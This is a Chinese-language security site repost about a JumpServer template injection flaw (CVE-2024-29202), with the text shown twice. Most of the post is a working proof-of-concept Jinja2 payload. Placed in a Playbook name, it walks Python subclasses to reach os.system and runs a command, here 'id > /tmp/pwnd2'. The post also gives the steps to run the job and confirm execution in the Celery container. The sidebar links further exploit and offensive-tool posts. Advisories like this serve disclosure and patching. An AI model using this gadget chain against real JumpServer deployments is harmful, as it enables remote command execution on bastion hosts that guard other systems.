JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

与 CVE-2024-29201类似，进入作业中心-模板管理添加一个 Playbook，在工作空间输入的内容为：

– name: | {% for x in ().__class__.__base__.__subclasses__() %} {% if “warning” in x.__name__ %} {{ x()._module.__builtins__[“__import__”](“os”).system(“id > /tmp/pwnd2”) }} {%endif%} {%endfor%}

添加完成后，同样进入作业管理页面创建并运行 Playbook 作业。运行结果如下：

图片[1]-JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

进入 Celery 容器，查看 tmp 目录下是否存在 pwnd2 文件

图片[2]-JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

https://www.ctfiot.com/169655.html

与 CVE-2024-29201类似，进入作业中心-模板管理添加一个 Playbook，在工作空间输入的内容为：

– name: |

{% for x in ().__class__.__base__.__subclasses__() %}

{% if “warning” in x.__name__ %}

{{

x()._module.__builtins__[“__import__”](“os”).system(“id > /tmp/pwnd2”)

}}

{%endif%}

{%endfor%}

添加完成后，同样进入作业管理页面创建并运行 Playbook 作业。运行结果如下：

图片[3]-JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

进入 Celery 容器，查看 tmp 目录下是否存在 pwnd2 文件

图片[4]-JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

https://www.ctfiot.com/169655.html

文章版权归作者所有，未经允许请勿转载。

THE END

国内漏洞库

JumpServer存在模板注入漏洞(CVE-2024-29202)

请登录后发表评论

1cs提权插件PostExpKit-202410（来源：潇湘信安）

2xscan xss漏扫工具

3红队VS蓝队：网络攻防实战技术解析随书资源

4eking管理易Html5Upload接口任意文件上传

5一些安全技术相关文档存档

6Cloudlog delete_oqrs_line 未授权SQL注入